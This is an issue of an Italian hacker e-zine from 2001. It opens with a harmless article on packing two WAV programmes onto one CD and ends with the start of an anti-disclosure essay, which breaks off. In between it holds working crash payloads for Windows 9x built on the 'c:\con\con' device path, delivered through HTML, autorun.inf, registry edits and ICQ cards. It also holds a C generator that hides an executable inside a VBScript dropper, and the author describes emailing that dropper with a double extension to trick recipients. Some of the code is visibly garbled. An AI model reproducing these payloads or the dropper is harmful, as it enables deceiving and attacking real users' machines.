Ho fatto un piccolo ragionamento: il lettore portatile lo uso quando vado in treno a scuola, o + in generale quando sono in giro. Si sà che in treno, in autobus, per strada, i rumori dell'ambiente circostante sono molti e che quindi la riproduzione viene inevitabilmente disturbata. In mezzo a questo 'disturbo', la qualità fornita dal CD-DA non la si può apprezzare appieno, e perciò un eventuale 'perdità di qualità' è difficilmente percettibile.
In questo nuovo formato, la qualità non viene meno, solamente invece che sfruttare 2 canali per la riproduzione, ne uso solo uno - a dir la verità, se ne usano ancora due, ma come vedrete meglio in seguito, durante la riproduzione il canale udibile è uno solo.


"Okay, okay. Ho capito. Ma modificando il formato dei file, non si possono + masterizzare."


L'affermazione è vera. Difatti, io non modifico il formato (il file da masterizzare è stereo) ma faccio una vera finezza: nel canale destro metto i primi 74minuti e nel sinistro gli altri 74minuti. In pratica, metto 74minuti di canzoni in formato mono nell'auricolare sinistro e 74minuti nel destro.


"Eh, che schifo!!! Così ascolti due canzoni diverse contemporaneamente!!"


Non proprio. Con un piccolo circuitino da mettere tra le cuffie e il lettore (guardate + avanti per lo schema), mando ai due auricolari un solo canale per volta. Quando il cd 'da un lato' finisce, 'lo giro' con un interruttorino che riproduce l'altro canale.

Se non fossi stato ancora chiaro, ecco uno schemino:


+--------------------------------
destra| Nirvana - Smells like teen spirit
+-------------------------------------
sinistra| NOFX - My vagina | NOFX - Drugs are good
+------------------------------------------


Poichè è impossibile dividere poi il cd in tracce, purtroppo dobbiamo fare un'unica traccia da 74 minuti (eh, miracoli non se ne possono ancora fare... a meno che non vi scegliate le canzoni della stessa durata da mettere in coppia...).


"E come faccio a fare un coso così da masterizzare?"


Niente paura. C'è bondo.


"Ah, beh, adesso mi sento più tranquillo..."


Ho scritto 3 programmini che si occupano di:

- convertire da stereo a mono
- accodare tutti i file wave di un lato del cd in un unico file
- creare il file con i due lati

Lo scoglio + grosso che si è posto davanti nella scrittura dei programmi, è stato capire come funziona il formato WAVE.
Prima dei dati codificati, ci sono 44byte di header, che descrivono le caratteristiche del file. Spulciando la SDK della Maicrostof e smontando quà e là con il mio hex-edit, sono risalito a come è costituito l'header...



byte | description
------+-------------------------------
4 | 'RIFF'
4 | size (byte)
8 | 'WAVEfmt '
2 | format
4 | reserved
2 | channel
4 | sample rate (Hz)
4 | average data per second (byte)
2 | block alignment
2 | bit per sample
4 | 'data'
4 | chunk
------+-------------------------------
... | data




"Si, si, guarda, adesso mi è tutto più chiaro... cos'è un header?"



le stringhe racchiuse tra apici '' sono tag e vengono riportate così come sono

size, è la dimensione in byte del file wave

format, è il formato di codifica del wave - nel nostro caso PCM

reserved, sono 4 byte che sono sempre così: 00 01 00 00 - non ho la minima idea di cosa possano significare

channel, è il numero di canali del file wave (01 mono - 02 stereo)

sample rate, è la frequenza di campionamento in Hz - 44.100Hz

average data per second, indica quanti byte al secondo vengono letti e si ricava così:

ads = [channel] x [bit per sample] x [sample rate]

block alignment, indica quanti byte occupa ogni sample - si ricava facendo

ba = [channel] x [bit per sample]

bit per sample, indica quanti bit descrivono un campione - 16bit o 8bit

chunck, è la dimensione del file in byte con il byte + significativo messo a 00



Per creare un cd 'doppio' i passi da seguire sono pochi e semplici:

1. estraete dal cd originale le canzoni in formato wave/44.1kHz/16bit
2. fate partire 2to1, che trasforma i dati stereo in mono
3. fate partire wavecat, che concatena tutti i file in uno solo
4. estraete un'altro cd e ripetete i passi 2 e 3
5. fate partire make, che creerà l'unico file da masterizzare



Adesso commentiamo un po' il codice dei programmini.


2to1
^^^^
Le funzioni che svolgono tutto il lavoro, sono essenzialmente 2: mix e ricopia.

Ricopia non fa altro che ricopiare un canale specificato del file originale (sinistro o destro) nel file mono di destinazione.

void ricopia(char canale[])
{
printf("\nRicopiando...");
char bait[2];
if((strcmp(canale, "right"))==0) fseek(in, 44, SEEK_SET); //si posiziona sul primo byte
else fseek(in, 46, SEEK_SET); //salta i 2byte del canale destro
while(!feof(in))
{
fread(bait, 2, 1, in);
fwrite(bait, 2, 1, out);
fread(bait, 2, 1, in); //questi si perdono
}
fclose(in);
}


In base al canale che noi specifichiamo, si posiziona sul primo byte da leggere. Nel caso che si voglia il canale destro, l'fseek punta al primo byte subito dopo l'header. Per il sinistro, invece, salta 2byte dopo l'header, che costituiscono il canale destro da non considerare. Fatto questo, finchè non finisce il file sorgente, legge 2byte e li scrive nel file destinazione, poi legge altri 2byte che andranno persi, poichè sono dell'altro canale e a noi non interessano.


La funzione mix, si occupa di 'miscelare' i due canali per ottenerne uno solo.

void mix()
{
char bait[2];
fseek(in, 44, SEEK_SET);
while(!feof(in))
{
fread(bait, 2, 1, in);
fwrite(bait, 2, 1, out);
fread(bait, 2, 1, in);
fwrite(bait, 2, 1, out);
fread(bait, 2, 1, in);
fread(bait, 2, 1, in);
}
fclose(in);
}


Il procedimento della funzione è questo: leggo 2byte di un canale e li scrivo, poi leggo 2byte dell'altro canale e li scrivo. Salto 4byte che vanno persi, e ricomincio a leggere 2byte e li scrivo...
Nel file destinazione, si otterrà un canale che contiene un campione di un canale e un campione dell'altro. Facendo così, però, la qualità in riproduzione è +o- simile a quella che si otterrebbe campionando tutto a 22kHz. Non è un algoritmo molto affidabile, ed è consigliabile utilizzare un software di audio editing per fare questa operazione, ma poi, fate un po' voi.
Gli algoritmi dei programmi di audio editing sono molto più complessi e si rifanno a formule matematiche per confrontare i due canali e fare 'una media' della forma d'onda.
La funzione che ho scritto io è semplicemente 'un po' per uno', cioè nel wave destinazione c'è un po' del canale destro e un po' del sinistro insieme. Supponiamo il caso che in un certo punto di una canzone, si senta la chitarra che suona un riff da sola nel canale destro e il canale sinistro sia completamente muto. Con il mio algoritmo, si miscela anche il silenzio, che non dovrebbe essere considerato. Questo è un caso che si dovrebbe mettere a posto.




wavecat
^^^^^^^
Il funzionamento di questo programma è ancora più semplice: apre un file wave e lo ricopia in destinazione, poi apre il successivo e lo accoda a destinazione, ne apre un'altro e lo accoda, e così via...

La funzione incaricata di tutto ciò è la seguente:

void accoda(char *cosa)
{
printf("\nProcessando: %s", cosa);
char sample[2];
wave=fopen(cosa, "rb");
if(wave==NULL) printf("\nErrore apertura %s", nomefile);
fseek(wave, 44, SEEK_SET);
while(!feof(wave))
{
fread(&sample, 2, 1, wave);
fwrite(&sample, 2, 1, out);
}
fclose(wave);
}



make
^^^^
Questo, si può dire che sia il programma principale del progetto, in quanto è quello che crea il file da masterizzare con i due file wave concatenati suddivisi nei due canali.

void splitta(char *left, char *right)
{
char data[2];
char blank[2];
blank[0]=0x01;blank[1]=0x00;
l=fopen(left, "rb");
if(l==NULL)
{
printf("\nErrore apertura %s", left);
return(-1);
}
r=fopen(right, "rb");
if(r==NULL)
{
printf("\nErrore apertura %s", right);
return(-1);
}
fseek(out, 44, SEEK_SET);
fseek(l, 44, SEEK_SET);
fseek(r, 44, SEEK_SET);
while((!feof(r))||(!feof(l)))
{
if(feof(l)) fwrite(blank, 2, 1, out);
else
{
fread(data, 2, 1, l);
fwrite(data, 2, 1, out);
}
if(feof(r)) fwrite(blank, 2, 1, out);
else
{
fread(data, 2, 1, r);
fwrite(data, 2, 1, out);
}
}
fclose(r);
fclose(l);
}

Anche qui, la funzione non è particolarmente complicata (anzi, direi che è proprio banale): apre i due file sorgenti e scrive nel destinazione 2byte di uno e 2byte dell'altro alternati.


In ogni programma, c'è una funzione dedicata alla scrittura dell'header del file wave.


//--- prende la dimensione del file
fseek(out, 44, SEEK_SET);
while(!feof(out))
{
fread(&singolo, 1, 1, out);
dimensione++;
}

//--- inizia a scrivere l'header
printf("\nWriting header");
fseek(out, 0, SEEK_SET);

strcpy(header, "RIFF"); //--- 'RIFF'
fwrite(header, 4, 1, out);
fwrite(&dimensione, 4, 1, out); //--- size
strcpy(header, "WAVE"); //--- 'WAVEfmt '
fwrite(header, 4, 1, out);
strcpy(header, "fmt ");
fwrite(header, 4, 1, out);
fwrite(&pcm, 2, 1, out); //--- format
fwrite(&reserved, 4, 1, out); //--- reserved
fwrite(&channel, 2, 1, out); //--- channel
fwrite(&samplerate, 4, 1, out); //--- sample rate
fwrite(&ads, 4, 1, out); //--- average data per second
fwrite(&align, 2, 1, out); //--- block alignment
fwrite(&bps, 2, 1, out); //--- bit per second
strcpy(header, "data"); //--- 'data'
fwrite(header, 4, 1, out);
fwrite(&dimensione, 4, 1, out); //--- data chunk
fseek(out, -4, SEEK_CUR);
fwrite(&z, 1, 1, out);


Per prima cosa, deve leggere la dimensione del file appena creato. Poi, inizia a scrivere i byte dell'header.

Non mi sembrano particolarmente complicati come programmi.



Per velocizzare le operazioni di conversione, concatenamento e creazione del file masterizzabile, consiglio di creare un file batch. Ad esempio:

---crea.bat---

rem - converte tutto in mono
2to1 file1.wav
2to1 file2.wav
2to1 file34.wav

2to1 file35.wav
2to1 file36.wav
2to1 file67.wav

rem - accoda tutto in due file separati
wavecat _ile1.wav _ile2.wav _ile34.wav
ren final.wav 1.wav
wavecat _ile35.wav _ile36.wav _ile67.wav
ren final.wav 2.wav

rem - crea il file da masterizzare
make 1.wav 2.wav

rem - cancella tutti i file wav che non servono +
ren burnme.wav burnme.wa_
del *.wav
ren burnme.wa_ burnme.wav

--- fine ---


I programmi non sono ancora in grado di gestire i caratteri jolly, quindi se qualcuno ha un momento di tempo e non sa cosa fare, il lavoro ce l'ha.


"Ma guarda che sfaticato... magari è anche in vacanza e non fa niente dalla mattina alla sera..."


Veniamo alla parte hardware del progetto.
Il circuitino per la corretta riproduzione è questo:


switch
dx o--------------o /------o dx
\-----------+
sx o--------------o \------o sx

gnd o----------------------------------o gnd



Veramente banale, il materiale occorrente è:

1 minijack maschio stereo
1 minijack femmina stereo
1 switch 2 vie
un po' di cavo elettrico

e poi i soliti attrezzini da laboratorio (saldatore, stagno, pinzette, ventilatore e birretta ghiacciata).


"Aò, 'a birretta ce l'ho, pe' er ventilatore c'ho le schiave con le foglie de palma ('a maria me la fumo, mica me 'a faccio sventolare), lo stagno è a 15km da casa e ce so' pure 'e rane, ma er resto devo andare a comperarlo..."

Con meno di 5k lire dovreste prendervi tutto.


NOTICINE E COMMENTI SPARSI:
Poichè si collegano due cuffie o altoparlanti ad un unico canale, viene alterata l'impedenza sull'uscita, e quindi il segnale risulta più debole. Sarebbe opportuno collegare un piccolo amplificatore per 'recuperare' un po' di segnale perso e, perchè no, rendere le cuffie più potenti: indicato per festini clandestini con birretta e bei faccini - la musica non può mancare - e tutto senza spendere soldi per l'impianto sonoro!!! Basta andare nella vostra discarica di fiducia o dal rottamaio sotto casa con un cacciavite, una forbice da elettricista, uno zaino e una mazza. Andiamo alla ricerca delle tv che i bravi cittadini, nell'epoca del consumismo, cambiano ogni due mesi e gettano nei rottami in attesa che il primo morto di fame se le vada a prendere, e con il cacciavitino le apriamo (ah, se la tv funziona ancora, fregatevene di quello che vi dico e portatevela a casa intera!!), localizziamo l'altoparlante o gli altoparlanti e con le forbicine tagliamo i cavetti. Poi, riponiamo la spesa nel nostro zainetto e ce ne andiamo allegramente a casa. Ah, già, dimenticavo la mazza. Beh, se vi capita l'unica tv bastarda che non si riesce a smontare con il cacciavite oppure il guardiano della discarica vi insegue minacciandovi con un oggetto contundente e altresì accuminato, avete qualcosa che vi può tornare utile. Adesso che siete arrivati a casa, potete montarvi il vostro impiantone da mettere in cartella e portarvi la mattina seguente in treno (beh?! voi portate la musica, qualcun'altro penserà alle amiche e alle birrette!).
Prima di concludere vorrei far notare che...


"Oh, ma quanto cazzo parla 'sto qua?!?!"


...c'è anche un'altro metodo per creare cd da 150 minuti, lasciando perfettamente inalterata la qualità. L'ho personalmente testato con il mio lettore portatile, con il lettore dello stereo, con il lettore dvd e con il masterizzatore. Vi posso dire che funziona solo con il portatile (almeno, con il mio).
Il tutto stà nel scrivere 2cd normali da 74minuti e poi incollarli insieme, facendo un cd doppio strato.

Utilizzate i cd senza l'etichetta sopra (sono più bassi) - ad esempio i point (quelli dal pacco da 100 senza copertine vengono 540lire l'uno). Poi, dalla parte non scritta, se al centro c'è il bordino un po' rialzato, dategli una carteggiata con la carta vetrata (quella con la grana fine per non rovinare troppo il cd (e state attenti a non rimuovere troppa plastica!). Adesso, con un po' di bostik, preferibilmente di quello che si trova nei barattoli, così che si possa prelevare e spalmare con una spatolina, incollate insieme i due cd. Non mettete la colla vicino ai bordi e vicino al foro interno, perchè quando li pressate la colla si spande e schizza fuori. A questo punto, mettete il cd sotto una pressa (rivestita di stracci per non strisciare la superficie) o sotto un peso e aspettate che la colla sia completamente asciutta.
Come dicevo poco prima, funziona solo con il cd portatile, perchè il supporto viene posizionato manualmente sull'albero e poi lo spazio dove il cd ruota è più ampio. Di contro, il cd è più pesante, quindi più soggetto a vibrazioni - in poche parole, salta subito.

Mi chiedo perchè i produttori di cd non abbiano ancora infilato due lamine all'interno di un cd per fare il secondo lato di registrazione.

Utilizzando entrambi i metodi, può arrivare a ben 5 ore di musica [;-).


"Ma 'sto qua è un pirla così, o lo pagate per inventarsele 'ste cose?! hei, regia!! mi rispondete?!"


eh, eh, eh... sono semplicemente bondo, l'essere giocondo.



..bye boys..



Scrivetemi pure per chiarimenti, consigli, minacce, inviti a cena, offerte, gite in canoa, e chi più ne ha se lo tenga. L'indirizzo di posta è lì sotto. Se siete delle figliuole, sono bene accette anche fotografie (vostre, non del primo sito porno che vi capita sotto il browser ;-). Tutto il software fornito a corredo è garantito VIRUS-FREE (se poi qualche minchione ci aggiunge il BO o quant'altro, non è colpa mia). E come al solito, c'è il disclaimer, che se vi decolla il lettore cd, il masterizzatore vi fa i falò con i cd verginelli, vostro zio c'ha l'ulcera, sono problemi vostri. Io non c'entro niente, io non c'ero, se c'ero non ero io. Allacciatevi le cinture di sicurezza (+ che per gli incidenti, per gli sbirri ;-!



"...one more round then is bottles to the ground, smashing of the glass with a super sonic sound... *PAUSE* aiò, ragà, funza di bbestia!!! *PLAY* ...whoa whoa whoa, bottles to the ground... ||LOW BATT|| caz! proprio adesso mi si doveva scaricare..."


============================================================================================

-.~.-([ bondo ])-.~.-

bondo@marijuana.com

============================================================================================



+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #03 - 17/09/2001 |
| D0S DEViCE iN PATH NAME [E4zy] 0x18/0x29 |
+-------------------------------------------------------------------------------+

Intro
Questa vulnerabilità può essere sfruttata sia localmente che da remoto e
consente ad un attacker di causare il crash di sistemi Windows9x forzandone
in questo modo il reboot.


Descrizione
I dispositivi DOS (DOS device) sono associati a nomi riservati che se usati
in maniera maliziosa possono causare il crash del sistema, più precisamente
il problema si presenta quando essi sono utilizzati come nomi di file o
cartelle. Windows controlla l'eventuale presenza di un nome riservato
all'interno di un percorso ma non controlla la presenza di molteplici DOS
device in esso. Dall'uso errato del path (percorso) ne deriva un accesso
illegale alla risorsa specificata che causa il crash e il reboot forzato
della macchina.
Il path incriminato si presenta nella forma:


c:\<dos device>\<dos device>


dove per <dos device> è inteso uno dei device specificati all'interno del
file io.sys, l'elenco seguente fa riferimenti a quanto riportato nelle prime
righe del file citato in precedenza:


Sigla | Descrizione
_________|___________________________
CON | Console device
COM1 | Porta di comunicazione 1
COM2 | Porta di comunicazione 1
COM3 | Porta di comunicazione 1
COM4 | Porta di comunicazione 1
AUX | Porta seriale
LPT1 | Porta parallela
PRN | Porta parallela
NUL | Porta fittizia
CLOCK$ | Clock di sistema
CONFIG$ |


Esempi pratici
1) E' possibile inserire un DOS device all'interno di un file HTML
utilizzando un tag html che forzi l'accesso alle risorse locali del sistema
utilizzando un path tra quelli visti in precedenza:


------------ Link.htm ------------

<html>
<body>
<a href="c:\con\con">blue screen</a>
</body>
</html>

-----------------------------------

Basterà un clic sul collegamento ipertestuale perchè Windows cerchi di
accedere al file locale utilizzando un path errato che ne causerà il crash
incondizionato.

2) Possiamo modificare una delle seguenti chiavi del registro di
(s)configurazione di Windows:


[HKEY_CLASSES_ROOT\exefile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @=""%1" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] @=""%1" %*"


Basterà cambiare il valore di default di una di queste chiavi con
"c:\con\con "%1" %*" per far si che Windows cerchi di processare il path
vulnerabile ogni qual volta sarà eseguito un file di estensione relativa
alla chiave modificata, causando in questo modo il crash del sistema
operativo.

3) Ricorriamo ancora una volta ai tag html per mettere a frutto quanto
imparato, il seguente file html contiene un riferimento ad un file di
immagine che presenta un path malizioso, il solo caricamento della pagina
causerà il reboot forzato di un sistema vulnerabile:


------------ Immagine.htm ------------

<html>
<body>
<img src="c:\con\con">
</body>
</html>

--------------------------------------

Altro file che rappresenta un potenziale pericolo per molti programmi di
casa Microsoft e non solo, non ha bisogno di alcuna interazione da parte
dell'utente, esegue il refersh della pagina dopo 3 secondi redirigendo verso
un file locale utilizzando la vulnerabilità descritta:


------------ Refresh.htm ------------

<html>
<meta http-equiv="REFRESH" content="3; URL=file:///c:/con/con">
</html>

-------------------------------------

4) Un problema sgradevole è rappresentato dalle ctcp request su IRC, nel
caso una sound request presenti un path che sfrutti tale vulnerabilità
causerebbe il crash del sistema di chi riceve la richiesta nel caso si
utilizzi un client IRC vulnerabile, ad esempio MSChat di casa Microsoft
(sarà un caso?:)), mIRC è del tutto immune a questo tipo di attacchi.

Il comando è stato volutamente omesso visto l'uso improprio che potrebbe
derivarne :)

5) E' possibile inserire il path incriminato all'interno di un file
autorun.inf, una volta posizionato tale file nella "root" di una delle unità
di memoria di massa (quale una delle partizioni dell'HD oppure in un CD
appositamente creato), si otterrà il medesimo risultato degli esempi
apportati in precedenza.


------------ Autorun.inf ------------

[Autorun]
open=c:\con\con

-------------------------------------

6) In particolare il servizio di greeting card di ICQ è vulnerabile a tale
exploit, l'invio di una greeting card contenente il seguente codice html
causerà il crash del sistema destinatario:


------------ Refresh.htm ------------

<html>
<meta http-equiv="REFRESH" content="3; URL=file:///c:/con/con">
</html>

-------------------------------------

L'articolo è finito! Spero che nessuno usi queste informazioni in modo
stupido ma che siano uno spunto di riflessione per tutti coloro che sapranno
farne tesoro e ripiegare su un'eventuale patch che fissi il problema. Le
patch sono disponibili ai seguenti URL:

Windows 95:
http://www.microsoft.com/downloads/release.asp?releaseID=19491
Windows 98 and Windows 98 SE:
http://www.microsoft.com/downloads/release.asp?ReleaseID=19389



+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #03 - 17/09/2001 |
| MiMETiZZARE UN PR0GRAMMA ALL'iNTERNO Di UN VBSCRIPT [bondo] 0x19/0x29 |
+-------------------------------------------------------------------------------+

============================================================================================


+-------------------------------+
| VBScript: error |-|[]|x||
+-------------------------------+
| |
| Il VBScript |
| x la distribuzione |
| di files come stealth... |
| ____ _________ |
| |_OK_| |_Annulla_| |
| |
+-------------------------------+


============================================================================================



Un bel giorno (a dir la verità era l'una e un quarto di notte |-) stavo
sfogliando i sorgenti del noto virus 'I love you' e mi sono detto:
'quanti polli ci sono in giro!'. Poi ho pensato: 'se i polli sono tanti e
il metodo funziona, perchè non automatizzare la creazione di script
maligni?'. E voi penserete: 'ma 'sto qua all'una e un quarto di notte non
c'ha niente di meglio da fare?'. Beh, evidentemente no!

Così ho iniziato a scrivere uno scriptino che copia in una directory
specificata un file contenuto nel file vbs stesso.

Lo script originale che ho scritto è questo:




dim n, windir
dim f(20)

f(0) =
"077090080000002000000000004000015000255255000000184000000000"
f(1) =
"000000000000064000026000000000000000000000000000000000000000"
f(2) =
"000000000000000000000000000000000000000000000000000000000000"
f(3) =
"000001000000186016000072031180009205033184001076205033144144"
f(4) =
"084104105115032112114111103114097109032109117115116032098101"
f(5) =
"032114117110032117110100101114032087105110051050013010036055"
f(6) =
"000000000000000000000000000000000000000000000000000000000000"
f(7) =
"000000000000000000000000320870940000000000000000000000000000"
f(8) =
"000000000000000000000000000000000000000000000000000000000000"
f(9) =
"000000000000000000000000000000000000000000000000000000000000"
f(10) =
"000000000000000000000000000000000000000000000000000000000000"
f(11) =
"000000000000000000000000000000000000000000000000000000000000"
f(12) =
"000000000000000000000000000000000000000000000000080069000000"
f(13) =
"076001008000025094066042000000000000000000000000224000142129"
f(14) =
"011001002025000042000000000016000000000000000000112057000000"
f(15) =
"000016000000000064000000000000064000000016000000000002000000"
f(16) =
"001000000000000000000000004000000000000000000000000176000000"
f(17) =
"000004000000000000000000003000000000000000016000000064000000"
f(18) =
"000000016000000016000000000000000000016000000000000000000000"
f(19) =
"000000000000000096000000136004000000000160000000000000000000"
set Fso = CreateObject("Scripting.FileSystemObject")
set Windir = Fso.GetSpecialFolder(0)
set
Stealth=fso.CreateTextFile(Windir&"\Desktop\provami.exe")
For n = 0 To 20
For i = 1 To Len(f(n)) / 3
Stealth.Write Chr(Mid(f(n), (i - 1) * 3 + 1, 3))
Next
Next
Stealth.Close


In poche parole, si crea un array che contiene il file codificato in
questo modo:
il valore decimale del byte appena letto, viene convertito in una
stringa a 3 caratteri che contiene il valore stesso codificato
numericamente. Ad esempio, un NULL (esa 0x0) viene
codificato '000'; un CR (esa 0xa) diventa '010'.
Mi sono accorto che era uno spreco inutile di spazio utilizzare 3 char
(triplicando così la dimensione dello script rispetto al file
originale) quando si poteva utilizzare semplicemente la notazione esadecimale,
impiegando 2 soli caratteri. Il problema che nasce nell'utilizzare
l'esadecimale, è che data la limitatezza del linguaggio di script (in fondo,
papà Bill non aveva certo in mente codici così quando si è scritto il
linguaggio), la conversione da esa è una masturbazione mentale che non
vale la pena implementare.


Eseguendo lo script, viene creato sul desktop il file 'provami.exe'.

Beh, allora scrivo un programma che faccia tutto da solo e mi crei uno
script che faccia lo stesso lavoro.
Possiamo assumere questo tipo di struttura come 'standard' e sostituire
a piacere il file ed eventualmente la directory nella quale estrarlo.

Ciò che dobbiamo cambiare in base al file che decidiamo di includere è:

- la dichiarazione dell'array che contiene il file:

dim f(20)

al posto di 20 ci va la dimensione del file in questione

- la directory in cui il file va estratto e il nome del file

set
Stealth=fso.CreateTextFile(Windir&"\Desktop\provami.exe")

per i programmini che piacciono tanto a voi, direi di lasciare la dir
di windows

- l'indice del ciclo di estrazione

for n = 0 To 20

al posto di 20 ci va la dimensione del file in questione


Tutto il resto, diciamo che può andare bene così com'è.



Poi, vedo che il buon caro vecchio zio Bill, in una dir di windows, mi
lascia un po' di esempietti su come utilizzare il VBScript: uno di
questi spiega come smanettare con il registro di configurazione. Si trovano
tutti nella cartella \Samples\Wsh. Al momento non mi interessa
aggiungere nel programma delle funzioni per modificare il registro, però chissà
che in futuro non esca una nuova versione del programmino che lo
faccia. Si potrebbe copiare il file nascosto nella directory di windows e
aggiungere la chiave in RunServices per farlo partire ad ogni riavvio,
riducendo così il codice del programma, privandolo dell'esecuzione
automatica' (chiamiamola così!).


Questo è il programma. Gli si passa in ingresso il nome del file e lui
ci restituisce il file script.



#include <stdio.h>
#include <string.h>
#include <stdlib.h>

FILE *source;
FILE *script;
char buffer[128], crlf[2], ff[2], f[2], fff[5], temp,
towrite[3], zero,
riga[6], acuspide;
int j=0, num;
int *read, single;

short windir=0, notrun=0;

long double bait, quanterighe, letti;
int fineriga=0;

void flusha(char *what)
{
for(int i=0; i<strlen(what); i++) what[i]='\0';
}

void scrivi(char stringa[])
{
flusha(buffer); file://meglio essere sicuri che il
buffer sia vuoto...
strcpy(buffer, stringa);
fwrite(buffer, strlen(buffer), 1, script);
flusha(buffer); file://...e poi per sicurezza lo
risvuotiamo
}

int main(int argv, char *argc[])
{
crlf[0]=0x10;
crlf[1]=0x13;
ff[0]='f';
ff[1]='(';
f[0]=')';
f[1]=' ';
fff[0]=')';
fff[1]=' ';
fff[2]='=';
fff[3]=' ';
fff[4]='"';
acuspide='"
';
flusha(buffer);
zero='0';

if(argv<2)
{
printf("\n\nUSAGE: vbsmask SourceFile\n\n");
return (0);
}
if((source=fopen(argv[1], "rb+"))==NULL)
{
printf("\nErrore nell'apertura del file.");
return (0);
}
if((script=fopen("script.vbs", "wt+"))==NULL)
{
printf("\nErrore nella scrittura

  
del file.");
fclose(source);
return (0);
}

file://inizia a scrivere lo script
scrivi("
Dim Windir, n");


file://non so con precisione quanti byte devo scrivere per la dimensione
dell'array... file://meglio abbondare con lo spazio libero da lasciare per
poi tornare indietro...
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);
fputc('\n', script);

file://scrive l'array che contiene il file da estrarre
read=&single;
do
{
fwrite(ff, sizeof(ff), 1, script);
itoa(j, riga, 10);
fwrite(riga, strlen(riga), 1, script);
fwrite(fff, sizeof(fff), 1, script);
do
{
if(!feof(source))
{
fread(read, 1, 1, source);
num=int(*read);
itoa(num, towrite, 10);

if(num<100){
towrite[2]=towrite[1];
towrite[1]=towrite[0];
towrite[0]='0';
}
if(num<10){
towrite[2]=towrite[1];
towrite[1]='0';
towrite[0]='0';
}
fwrite(towrite, 3, 1, script);
fineriga++;
}
else fineriga=20;
}while(fineriga!=20);
fineriga=0;
fputc(acuspide, script);
fputc('\n', script);
j++;
}while(!feof(source));

file://torna indietro e scrive la dichiarazione dell'array
fseek(script, 15, SEEK_SET);

scrivi("
dim f(");
itoa(j, buffer, 10);
fwrite(buffer, strlen(buffer), 1, script);
flusha(buffer);
fwrite(f, sizeof(f), 1, script);
fputc('\n', script);

file://scrive il resto del file script
fseek(script, 0, SEEK_END);
scrivi("
set Fso = CreateObject(");
fputc(acuspide, script);
scrivi("
Scripting.FileSystemObject");
fputc(acuspide, script);
fputc(f[0], script);
fputc('\n', script);
scrivi("
set Windir = Fso.GetSpecialFolder(0)");
fputc('\n', script);

file://mette il file sul desktop
scrivi("
set
Stealth=fso.CreateTextFile(Windir&\"\\Desktop\\");

file://nome del file
scrivi(argv[1]);

fputc(acuspide, script);
fputc(f[0], script);
fputc('\n', script);


file://ciclo di estrazione
scrivi("For n = 0 To ");
itoa(j, buffer, 10);
fwrite(buffer, strlen(buffer), 1, script);
fputc('\n', script);
scrivi("For i = 1 To Len(f(n)) / 3");
fputc('\n', script);
scrivi("Stealth.Write Chr(Mid(f(n), (i - 1) * 3 + 1,
3))"
);
fputc('\n', script);
scrivi("Next");
fputc('\n', script);
scrivi("Next");
fputc('\n', script);

file://chiude il file generato dallo script
scrivi("Stealth.Close");
fputc('\n', script);

file://chiude i file aperti
fclose(script);
fclose(source);
}





Note: il programma è stato pensato includere piccoli programmi per
'distribuire' poi lo script via e-mail. SOGNATEVI quindi di includere il
SubSeven o il NetBus (penso che un script di oltre 600k desti un po' di
sospetti, anche ad un utente poco esperto 8-).

Il programma posiziona il file sul desktop - se volete metterlo da
un'altra parte, modificatevi il sorgente.

Personalmente io ho utilizzato lo script in questo modo:
ho incluso un mio programmino (9kbyte) e l'ho inviato via e-mail
insieme ad una foto in formato jpeg , così
che la grandezza dell'e-mail sembri sia data dal peso della foto.
Per ingannare il destinatario della mail ho utilizzato il
vecchio trucchetto della doppia estensione (.txt.vbs) che però ha
funzionato.

Avevo pensato di includere lo script nel codice html delle e-mail (che
tanto piacciono agli utenti di Outlook), però sembra che non sia
possibile creare dei file (o almeno, l'ActiveX incaricato non me lo lascia
fare). Se qualcuno trova una soluzione, che me lo faccia sapere.

Potete aggiungere allo script qualche funzione che faccia apparire
qualche finestrella o che faccia qualcosina di spettacolare, tipo far
muovere il mouse o roba del genere, per far sembrare che la reale funzione
dello script sia quella.

Cmq sia, ho scritto una robetta che raramente vi potrà essere utile, a
meno che non intendiate smanettare con il computer di vostra sorella.




============================================================================================

-.~.-([ bondo ])-.~.-

bondo@marijuana.com

============================================================================================

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #03 - 17/09/2001 |
| AntiSEC, UNA V0CE C0NTR0C0RRENTE [xyzzy] 0x1A/0x29 |
+-------------------------------------------------------------------------------+

Lo scopo di questo movimento e' quello di promuovere una nuova politica di
anti-diffusione tra le varie comunita' di sicurezza informatica.
L'obiettivo non e' quello di impedire la pubblicazione di ogni
informazione o notizia che abbia a che fare con la sicurezza, quanto piuttosto
quello di fermare la diffusione di vulnerabilita' e exploit non pubblici o
sconosciuti. In sintesi, si tratterebbe di bloccare la pubblicazione di tutto quel
materiale informativo che potrebbe permettere ad uno script kiddie di compromettere
un sistema attraverso metodi fino a quel momento sconosciuti.

Il movimento dell'Open Source ha rappresentato una componente di inestimabile valore
nel panorama dell'informatica moderna ed ognuno di noi e' in debito nei suoi confronti.
L'Open Wource e' un concetto meraviglioso che dovrebbe esistere ed esitera' per sempre,
poiche' il software di tipo "educational", scientifico e quello destinato all'utente finale
dovrebbe essere gratuito e disponibile a chiunque.

D'altro canto, gli exploit non rientrano in questa categoria. Esattamente come le
munizioni, che possono essere rappresentate da algoritmi di crittografia, piuttosto che da
